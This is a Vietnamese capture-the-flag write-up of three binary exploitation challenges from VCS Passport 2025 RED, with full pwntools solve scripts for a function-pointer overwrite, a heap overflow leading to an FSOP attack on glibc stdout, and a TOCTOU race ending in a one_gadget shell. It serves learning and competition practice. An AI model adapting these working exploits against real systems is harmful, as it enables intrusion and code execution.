---
# System prepended metadata

title: '[Write up] VCS Passport 2025 RED CTF'

---

Khá buồn vì trong quá khứ có người bảo mình nên thử những dạng bài TOCTOU nhưng mình chưa thử, nay đi thi gặp ngay câu cuối là dạng đó mặc dù dư khá nhiều thời gian cho câu cuối nhưng mình không biết cách xử lý :((


## node_user (100 points)
Chắc đây là câu warm up của đề vì nó chill và chỉ có 100 điểm


### Checksec cái nhẹ trước
![image](https://hackmd.io/_uploads/rk-YcOQXWe.png)

### Phân tích

Là một chương trình tạo node lưu data và liên kết các node lại với nhau giống đồ thị, có khá nhiều thứ linh tinh khi tìm bug nhưng chỉ cần chú ý những điểm sau 

Thấy có con trỏ hàm trong struct 
![image](https://hackmd.io/_uploads/ByW-qdQmbl.png)

Có thêm hàm win
![image](https://hackmd.io/_uploads/BkxV5uXXbe.png)

=> Bài này chắc chắn là sửa con trỏ hàm để thành hàm win  
Đọc thêm một lúc thì mình thấy dòng này trong menu nhập data cho node
![image](https://hackmd.io/_uploads/SkHfidXXbl.png)

Dòng này khá lạ hiểu đơn giản là nó cho ghi tiếp vào chỗ data đã ghi trước đó `read(0, tmp->data + strlen(tmp->data), 0x10);`

Mình input thử một vài chữ A thì thấy con trỏ hàm ngay dưới có thêm `no pie` với bug phía trên, lượt sau mình đè con trỏ hàm và nó gọi luôn thế là chúng ta có flag
![image](https://hackmd.io/_uploads/rJ9k2OXQZl.png)

<details>
<summary>Solve Script</summary>

``` python
from pwn import *
remote_connection = "nc 103.75.186.106 1337".split()
local_port = 5000

context.binary = ELF('./node_node_node')
# context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['setsid', 'kitty', '-e']
# context.terminal = ['setsid', 'kitty', 'tmux', 'new-session']

localscript = f'''
file {context.binary.path}
'''

gdbscript = '''
'''

def start():
    if args.REMOTE:
        return remote(remote_connection[1], int(remote_connection[2]))
    elif args.LOCAL:
        return remote("localhost", local_port)
    else:
        return process([context.binary.path])

def GDB():
    if args.LOCAL:
        gdbserver = process("docker exec -u root -i debug_container bash -c".split() +  [f"gdbserver :9090 --attach $(pidof node_node_node) &"])
        pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript)
        pause()
    elif not args.REMOTE:
        gdb.attach(p, gdbscript=localscript + gdbscript)
        pause()

def slog(name, addr):
    return log.success(f"{name.ljust(20)} : {hex(addr)}")
win = 0x00000000004016ec
# GDB()
p = start()
# create note
p.sendlineafter(b">> ", b"1")
p.sendlineafter(b"Id: ", b"1")
p.sendlineafter(b">> ", b"3")
p.sendlineafter(b'Read from: ', b'1')
p.sendafter(b"Data: ", "AAAAAAAAAAAAAAA")
p.sendlineafter(b">> ", b"3")
p.sendlineafter(b'Read from: ', b'1')
p.sendlineafter(b"Data: ", b'A' + p64(win))
p.interactive()

```
</details>

<details>
<summary>Kết Quả</summary>


``` bash
> python solve.py LOCAL
[*] '/home/lazyming/ctf/pwn/viettel_contest/node/public/node_node_node'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to localhost on port 5000: Done
[*] Switching to interactive mode

VCS{test}
```
</details>


## pwn2 (300 points)
Một chall heap có code khá đơn giản với lỗi heap overflow
### Checksec cái nhẹ trước
![image](https://hackmd.io/_uploads/SJlLNqXm-x.png)

### Phân tích và Khai thác
Chúng ta có thể tạo tối đa 10 user với idx từ 0 - 9
mỗi user có các thông tin như sau:
![image](https://hackmd.io/_uploads/Bk-Jdc7XWx.png)

Hàm custom read `có như không` nó chỉ làm công việc thay `\n` thành `\x00` nhưng không có `\n` thì chả khác gì read bình thường

Có một con trỏ heap chứa thông tin `BIO filed` nằm dưới trường `address` luôn fill full trường address chúng ta chọn menu in thông  user thì có heap leak luôn

``` python
p = start()

# leak heap phase
p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b"Name: ", b"lazyming")
#fill full address field
p.sendafter(b"Address: ", b'B' * 0x40)
p.sendafter(b"Bio: ", b'BBB')
#print user
p.sendlineafter(b'Choice: ', b'4')
p.sendlineafter(b'Index: ', b'0')
p.recvuntil(b"B" * 0x40)

heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
slog("heap_leak", heap_leak)
heap_base = heap_leak - 0x310
slog("heap_base", heap_base)
```

Result
``` bash
[*] '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/ld-2.39.so'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Starting local process '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/chall_patched': pid 177458
[+] heap_leak            : 0x558b5e2f0310
[+] heap_base            : 0x558b5e2f0000
```

Critical Bug: trong hàm chỉnh sửa thông tin bio của user có lỗi heap overflow nó mặc định luôn read `0x100 byte` vào bio => heap overflow => tcachepoison hoặc chỉnh sửa thông tin của user khác
![image](https://hackmd.io/_uploads/rytMnqXQZe.png)

làm gì thì làm cũng phải leak `libc` trước kkk, mình tạo full 10 user có bio lớn hơn kích thước small bin rồi free để fill hết tcache phần còn thừa chúng ta sẽ có `unsorted bin`

ở bước này mình tính toán trước bước sau, là cần một cái bio nhỏ và sát bên chunk thông tin user khác để overflow ghi đè con trỏ bio của user đó để có quyền `AAR AAW`

Thế nên trong lượt tạo user thứ 3 mình cố tình thêm một chunk bio `0x20` sau đó free để lát cấp phát lại nó ở vị trí mong muốn của mình

```
Heap (low addr → high addr)
────────────────────────────────────────

[ FASTBIN ]      size: 0x70
[ UNSORTEDBIN ]  size: 0x90 <- unsorted bin chứa libc address
[ FASTBIN ]      size: 0x70

[ TCACHE ]       size: 0x90 <- các bio cho mục đích tạo unsorted bin
[ TCACHE ]       size: 0x70
[ TCACHE ]       size: 0x30 <- đặt chỗ trước cho bio lát sẽ ghi đè chunk user bên cạnh
[ TCACHE ]       size: 0x70 <- chunk user trong tcachebins lát malloc sẽ dùng lại
[ TCACHE ]       size: 0x90
[ TCACHE ]       size: 0x70
[ TCACHE ]       size: 0x90

────────────────────────────────────────

```


giờ thì mình tạo 2 user 

heap sẽ trông thế này 

```
[ 0x60 | UNSORTED  ]
[ 0x70 | FASTBIN   ]
[ 0x90 | TCACHE    ]
[ 0x70 | ALLOCATED ] <- user 1
[ 0x30 | ALLOCATED ] <- bio của user 1 sẽ overflow user 2
[ 0x70 | ALLOCATED ] <- user 2
[ 0x90 | TCACHE    ]
[ 0x70 | TCACHE    ]
[ 0x90 | TCACHE    ]

```

Oke sau đó cứ đè con trỏ bio của user 2 bằng fake address ta muốn thôi rồi chúng ta có quyền `aar aaw` -> leak libc sau đó mình `FSOP` chọn target `_IO_2_1_stdout_` hoặc leak stack qua `_environ` rồi `ROP` tùy khẩu vị của mỗi người =))


<details>
<summary>Solve Script</summary>

``` python
from pwn import *
remote_connection = "nc 103.75.186.106 9002".split()
local_port = 5000

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")

context.binary = exe

# context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['setsid', 'kitty', '-e']
context.terminal = ['setsid', 'kitty', 'tmux', 'new-session']

localscript = f'''
file {context.binary.path}
'''

gdbscript = '''
'''

def start():
    if args.REMOTE:
        return remote(remote_connection[1], int(remote_connection[2]))
    elif args.LOCAL:
        return remote("localhost", local_port)
    else:
        return process([context.binary.path])

def GDB():
    if args.LOCAL:
        gdbserver = process("docker exec -u root -i debug_container bash -c".split() +  [f"gdbserver :9090 --attach $(pidof chall) &"])
        pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript)
        pause()
    elif not args.REMOTE:
        gdb.attach(p, gdbscript=localscript + gdbscript)
        pause()

def slog(name, addr):
    return log.success(f"{name.ljust(20)} : {hex(addr)}")

# libc = ELF("./libc.so.6")

p = start()
# leak heap phase

p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b"Name: ", b"lazyming")
p.sendafter(b"Address: ", b'B' * 0x40)
p.sendafter(b"Bio: ", b'BBB')

p.sendlineafter(b'Choice: ', b'4')
p.sendlineafter(b'Index: ', b'0')
p.recvuntil(b"B" * 0x40)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
slog("heap_leak", heap_leak)
heap_base = heap_leak - 0x310
slog("heap_base", heap_base)

p.sendlineafter(b'Choice: ', b'3')
p.sendlineafter(b'Index: ', b'0')

for i in range(10):
    p.sendlineafter(b'Choice: ', b'1')
    p.sendlineafter(b"Name: ", b"lazyming")
    p.sendafter(b"Address: ", b'B')
    p.sendafter(b"Bio: ", b'B' * 0x80)
    if i == 2:
        p.sendlineafter(b'Choice: ', b'1')
        p.sendlineafter(b"Name: ", b"lazyming")
        p.sendafter(b"Address: ", b'B')
        p.sendafter(b"Bio: ", b'B' * 0x20)

        p.sendlineafter(b'Choice: ', b'3')
        p.sendlineafter(b'Index: ', str(i).encode())



for i in range(10):
    p.sendlineafter(b'Choice: ', b'3')
    p.sendlineafter(b'Index: ', str(10 - i).encode())


# idx 1
p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b"Name: ", b"lazyming")
p.sendafter(b"Address: ", b'B')
p.sendafter(b"Bio: ", b'D' * 0x20)
# GDB()

#idx 2
p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b"Name: ", b"lazyming")
p.sendafter(b"Address: ", b'B')
p.sendafter(b"Bio: ", b'C' * 0x20)

leak_libc_offset = heap_base + 0x460
#edit bio idx 1

p.sendlineafter(b'Choice: ', b'2')
p.sendlineafter(b'Index: ', b'1')
payload = b"D" * 0x28 + p64(0x71)
payload += b"D" * 0x60
payload += p64(leak_libc_offset) + p64(0x91)
p.sendlineafter(b"New Bio: ", payload)

p.sendlineafter(b'Choice: ', b'4')
p.sendlineafter(b'Index: ', b'2')
p.recvuntil(b"Bio: ")
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
slog("libc_leak", libc_leak)
libc_base = libc_leak - 0x203b20
slog("libc_base", libc_base)

libc.address = libc_base

def build_fsop_stdout_235(fp_addr: int) -> bytes:
    fp = FileStructure(null=fp_addr + 0x68)
    fp.flags = 0x687320
    fp._IO_read_ptr = 0
    fp._IO_write_base = 0
    fp._IO_write_ptr = 1
    fp._wide_data = fp_addr - 0x10
    payload = bytes(fp)
    payload = payload[:0xc8] + p64(libc.sym['system']) + p64(fp_addr + 0x60)
    payload += p64(libc.sym['_IO_wfile_jumps'])
    return payload

FSOP = build_fsop_stdout_235(libc.sym['_IO_2_1_stdout_'])

p.sendlineafter(b'Choice: ', b'2')
p.sendlineafter(b'Index: ', b'1')
payload = b"D" * 0x28 + p64(0x71)
payload += b"D" * 0x60
payload += p64(libc.sym['_IO_2_1_stdout_']) + p64(0x91)
p.sendlineafter(b"New Bio: ", payload)

p.sendlineafter(b'Choice: ', b'2')
p.sendlineafter(b'Index: ', b'2')
# payload = b"D" * 0x28 + p64(0x71)
# payload += b"D" * 0x60
# payload += p64(libc.sym['_IO_2_1_stdout_']) + p64(0x91)
p.sendlineafter(b"New Bio: ", FSOP)

p.interactive()

```
</details>

<details>
<summary>Kết Quả</summary>

``` bash
> python solve.py REMOTE
[*] '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/chall_patched'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
[*] '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/ld-2.39.so'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to 103.75.186.106 on port 9002: Done
[+] heap_leak            : 0x63fe97c40310
[+] heap_base            : 0x63fe97c40000
[+] libc_leak            : 0x7c6a75cf7b20
[+] libc_base            : 0x7c6a75af4000
[*] Switching to interactive mode
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag
cat: flag: No such file or directory
$ ls
chall
flag.txt
$ cat flag.txt
FLAG{W3uMC5di9U65nVqVghg7EDv37F54PK27}
```
</details>

## Tổng kết
mình vẫn tiếc câu TOCTOU cuối quá..., và lúc giải câu 2 ban đầu lời giải của mình không đẹp như vậy đâu, mình tcache poison rồi thấy nó rất rắc rối (có khá nhiều lý do ẩn bạn tự tay làm thì sẽ biết) may sao mình nghĩ mới chợt nhớ nó cho overflow rất nhiều nên ghi đè được con trỏ bio. Phải chi câu câu cuối là dạng khác thì hay biết mấy :D


## Pokemon (Up solve update at 25/12/2025, 18:13) giải lại cho biết hehe

### checksec cái nhẹ trước
![image](https://hackmd.io/_uploads/HJGUh997Zl.png)
bài này full protection luôn 

### Phân tích và khai thác
Sau khi revesing thì rút ra được chương trình có 3 struct chính là
![image](https://hackmd.io/_uploads/H1t9-i5m-l.png)

Chúng ta có mảng các con trỏ `pokemon *user_poke[5]` trỏ vào các data pokemon nằm trên heap và nó nằm phía trên cái con trỏ g_user

-> chuyện gì sẽ xảy ra nếu chúng ta tạo ra pokemon thứ 6 ?
`user_poke[6]` sẽ đè con trỏ g_user và con trỏ user trỏ vào pokemon, mọi thao tác trên user cũng sẽ thao tác lên user sẽ chuyển thành thao tác trên con pokemon thứ 6 đó

Nhìn vào vùng bss các bạn dễ hình dung hơn chúng ta có 5 con poke và con trỏ user `Ash là tên mặc định của user` nếu tạo poke thứ 6 thì con trỏ user sẽ bị ghi đè 
![image](https://hackmd.io/_uploads/Hk726Yj7Wl.png)

Đây là phần xử lý mua pokemon trong hàm mua pokemon mình để đây để bạn đọc cái TOCTOU flow ở dưới cho dễ hiểu
```c
    // kiểm tra số pokemon bằng 5 thì không cho mua nữa
    if ( user_poke_number <= 4 )
    {
      new_poke_chunk = malloc(0x50u);
      // copy poke data
      memcpy(new_poke_chunk, &g_pokemon_array[choice - 1], sizeof(Pokemon));
      g_user_data->money -= 100;
      printf("Enter custom name for your new Pokemon: ");
      fflush(stdout);
      read(0, new_poke_chunk->nickname, 31u);
        
      new_poke_chunk->nickname[31] = 0;
      new_line_offset = strcspn(new_poke_chunk->nickname, "\n");
      new_poke_chunk->nickname[new_line_offset] = 0;
    // tăng số lượng pokemon mà user đang có sau khi cài nickname bằng hàm read
      user_poke[user_poke_number++] = new_poke_chunk;
      update_user_level();
      printf("Purchased %s!\n", new_poke_chunk->species);
    }
    else
    {
      puts("Your bag is full!");
    }
```

Ở hàm sử dụng item trong phần xử lý sử dụng item số 3
``` c
if ( item_id == 3 )
  {
    puts("Activating Auto Pokemon Finder...");
    // tạo một biến int để lưu sleep_time cho hàm catch_pokemon
    sleep_time = malloc(4u);
    random_number = rand() % 256;
    if ( random_number <= 0 )
      *sleep_time = 2;
    else
      *sleep_time = 0;
    pthread_create(&newthread, 0, catch_pokemon, sleep_time);
    pthread_detach(newthread);
    puts("Auto Finder activated! Searching in background...");
  }
```

đây là xử lý của hàm catch_pokemon tác giả cài cắm chi tiết TOCTOU attack ở đây bằng việc thêm một cái sleep trông khá vô nghĩa nhưng để tăng tỷ lệ toctou attack thành công cao hơn

-> nhưng mà dở cái phải rand() %  256 == 0 thì mới cho sleep 2s =))
```c
void *__fastcall catch_pokemon(unsigned int *sleep_time)
{
  unsigned int random_pokemon; // [rsp+1Ch] [rbp-24h]
  Pokemon *new_chunk; // [rsp+28h] [rbp-18h]

  if ( *sleep_time > 0 )
    sleep(*sleep_time);
  if ( user_poke_number <= 4 )
  {
    random_pokemon = rand() % g_total_pokemon;
    new_chunk = malloc(0x50u);
    memcpy(new_chunk, &g_pokemon_array[random_pokemon], sizeof(Pokemon));
    *&new_chunk->nickname[strlen(new_chunk->nickname)] = 0x29646C69572820LL;
    user_poke[user_poke_number++] = new_chunk;
    update_user_level();
  }
  free(sleep_time);
  return 0;
}
```
Nôm na phần này nó tương tự buy pokemon chỉ là bạn không được chọn con pokemon bạn muốn thôi



Vậy cái flow của chương trình chạy thế nào thì chúng ta mua được 6 con pokemon ?

Giả sử ta đang có 5 con pokemon <=> `user_poke == 4`

- B1: dùng item số 3 và nếu may mắn thỏa điều kiện `rand() % 256 == 0` chúng ta sẽ có 2s trước khi nó kiểm tra điều kiện `(user_poke <= 4)` và tăng chỉ số pokemon lên
- B2: chúng ta chọn option mua pokemon vì lúc này 2s chưa chạy xong nên điều kiện vẫn thỏa (TIME OF CHECK) nó sẽ bảo chúng ta nhập nickname cho con pokemon chúng ta mua, `nhưng chúng ta sẽ đợi ở hàm read này` vì nếu `chưa nhập nickname thì tổng số pokemon cũng sẽ không tăng lên` và cái B1 sẽ tiếp tục check điều kiện nó thấy vẫn thỏa và nó tạo pokemon mới sau khi nó chạy xong chúng ta nhập tên cho con pokemon đang mua thì chúng ta vẫn được 1 con pokemon nữa (TIME OF USE)

vậy là chúng ta mua được 6 con pokemon để phục vụ mục đích ban đầu

Để cho dễ thì mình patch lại chương trình bằng IDA như thế này để đỡ phải chơi 1/256 ...
![image](https://hackmd.io/_uploads/ryp6g_jQZx.png)


Đây là đoạn code tạo 6 con pokemon 
``` python
#buy item poke finder
p.sendlineafter(b"Choice: ", b'2')
p.sendlineafter(b"Enter item number (0 to cancel): ", b'3')
# buy pokemon 
for i in range(4):
    p.sendlineafter(b"Choice: ", b'1')
    p.sendlineafter(b"Enter number to buy (0 to cancel): ", b'1')
    p.sendlineafter(b"Enter custom name for your new Pokemon: ", b"A" * 31)

# use poke finder
p.sendlineafter(b"Choice: ", b'5')
p.sendlineafter(b"Enter item number to use (0 to cancel): ", b'1')
# buy another poke
p.sendlineafter(b"Choice: ", b'1')
p.sendlineafter(b"Enter number to buy (0 to cancel): ", b'1')
# wait 3 sec
sleep(3)
p.sendlineafter(b"Enter custom name for your new Pokemon: ", b"A")
GDB()
p.sendlineafter(b"Choice: ", b'3')

```

Thành quả là user đã bị abuse thành pokemon
![image](https://hackmd.io/_uploads/HyTfe5jXWx.png)

View info chúng ta sẽ có luôn `pie leak` do `ability_func` của poke nằm trên special quote của `user`
![image](https://hackmd.io/_uploads/BJF_xciXbl.png)
từ user biến thành pokemon luôn =))

Giờ chúng ta có `pie leak` và khả năng thay đổi con trỏ ability function, mình phải kiếm thêm `libc leak` để `one_gadget`

may thay trước lúc gọi `ability func` trên thanh ghi rdi còn xót lại địa chỉ libc, vậy chúng ta modify ability function thành got của puts `là ngon luôn`
![image](https://hackmd.io/_uploads/Hyf6m9oQZl.png)
chúng ta có libc leak
![image](https://hackmd.io/_uploads/rJrLD5oXbg.png)

Rồi ghi đè con trỏ ability thành one_gadget thôi may mắn là có một cái thỏa và chúng ta có shell
![image](https://hackmd.io/_uploads/H1wUj5jX-g.png)


Việc mình patch lại không ảnh hưởng gì so với thực thế cứ ngồi chạy và đợi tỷ lệ 1/256 thành công là được, solve này chắc chắn vẫn hoạt động với challenge thật

<details>
<summary>Solve Script</summary>

``` python
from pwn import *
remote_connection = "nc host8.dreamhack.games 19742".split()
local_port = 5000

exe = ELF("./pokemon-3c32fb036a87385b5caa4e3d1551788361ac296fbf3f24aec0fb92e3ce7ebbbf_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

# context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['setsid', 'kitty', '-e']
context.terminal = ['setsid', 'kitty', 'tmux', 'new-session']

localscript = f'''
file {context.binary.path}
'''

gdbscript = '''
'''

def start():
    if args.REMOTE:
        return remote(remote_connection[1], int(remote_connection[2]))
    elif args.LOCAL:
        return remote("localhost", local_port)
    else:
        return process([context.binary.path])

def GDB():
    if args.LOCAL:
        gdbserver = process("docker exec -u root -i debug_container bash -c".split() +  [f"gdbserver :9090 --attach $(pidof chall) &"])
        pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript)
        pause()
    elif not args.REMOTE:
        gdb.attach(p, gdbscript=localscript + gdbscript)
        pause()

def slog(name, addr):
    return log.success(f"{name.ljust(20)} : {hex(addr)}")

libc = ELF("./libc.so.6")
p = start()

#buy item poke finder
p.sendlineafter(b"Choice: ", b'2')
p.sendlineafter(b"Enter item number (0 to cancel): ", b'3')
# buy pokemon 
for i in range(4):
    p.sendlineafter(b"Choice: ", b'1')
    p.sendlineafter(b"Enter number to buy (0 to cancel): ", b'1')
    p.sendlineafter(b"Enter custom name for your new Pokemon: ", b"A" * 31)

# use poke finder
p.sendlineafter(b"Choice: ", b'5')
p.sendlineafter(b"Enter item number to use (0 to cancel): ", b'1')
# buy another poke
p.sendlineafter(b"Choice: ", b'1')
p.sendlineafter(b"Enter number to buy (0 to cancel): ", b'2')
# wait 3 sec
sleep(3)
p.sendlineafter(b"Enter custom name for your new Pokemon: ", b"A")
p.sendlineafter(b"Choice: ", b'3')
p.recvuntil(b"Special Quote: ")
pie_leak = u64(p.recvn(6).ljust(8, b'\x00'))
slog("pie_leak", pie_leak)
pie_base = pie_leak - 0x1443
slog("pie_base", pie_base)

puts_plt = exe.plt['puts']
slog("puts_plt", puts_plt)
p.sendlineafter(b"Choice: ", b'4')
p.sendlineafter(b"Enter choice: ", b'2'),
p.sendlineafter(b"Enter new special quote: ", p64(puts_plt + pie_base))
p.sendlineafter(b"Choice: ", b'3')
p.recvuntil(b"HP: 78, ATK: 84\n")
libc_leak = u64(p.recvn(6).ljust(8, b'\x00'))
libc_base = libc_leak - 0x620d0
slog("libc_base", libc_base)

slog("libc_leak", libc_leak)
# GDB()
# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL || r10 is a valid argv
#   [rdx] == NULL || rdx == NULL || rdx is a valid envp
one_shot_one_killlllllllllll = 0xebcf5
p.sendlineafter(b"Choice: ", b'4')
p.sendlineafter(b"Enter choice: ", b'2'),
p.sendlineafter(b"Enter new special quote: ", p64(libc_base + one_shot_one_killlllllllllll))
p.sendlineafter(b"Choice: ", b'3')


p.interactive()

```
</details>

<details>
<summary>Kết Quả</summary>

``` bash
> python solve.py
[*] '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/pokemon-3c32fb036a87385b5caa4e3d1551788361ac296fbf3f24aec0fb92e3ce7ebbbf_patched'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
[*] '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/ld-linux-x86-64.so.2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[x] Starting local process '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/pokemon-3c32fb036a87385b5caa4e3d1551788361ac296f[◐] Starting local process '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/pokemon-3c32fb036a87385b5caa4e3d1551788361ac296f[+] 24aec0fb92e3ce7ebbbf_patched': pid 74255
[+] pie_leak             : 0x55b009a45443
[+] pie_base             : 0x55b009a44000
[+] puts_plt             : 0x11e4
[+] libc_base            : 0x7f470b800000
[+] libc_leak            : 0x7f470b8620d0
[*] Switching to interactive mode

=== My Info ===
Trainer: Charizard
Money: $78
Win Count: 84
Level: 6 (based on Pokemon count)
Special Quote: \xf5\xbc\x8e\x0bG\x7f

=== My Pokemons (6/5) ===

1. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Pikachu]
   HP: 35, ATK: 55
  Pika Pika!

2. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Pikachu]
   HP: 35, ATK: 55
  Pika Pika!

3. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Pikachu]
   HP: 35, ATK: 55
  Pika Pika!

4. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Pikachu]
   HP: 35, ATK: 55
  Pika Pika!

5. Bulbasaur (Wild) [Bulbasaur]
   HP: 45, ATK: 49
  Bulba bulba!

6. 
 [Charizard]
   HP: 78, ATK: 84
$ id
uid=1000(lazyming) gid=1000(lazyming) groups=1000(lazyming),10(wheel),18(dialout),36(kvm),966(gns3),967(wireshark),969(docker),987(libvirt) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ cat flag
LazyMing{i_should_know_TOCTOU_before_contest_:((}$  
```
</details>

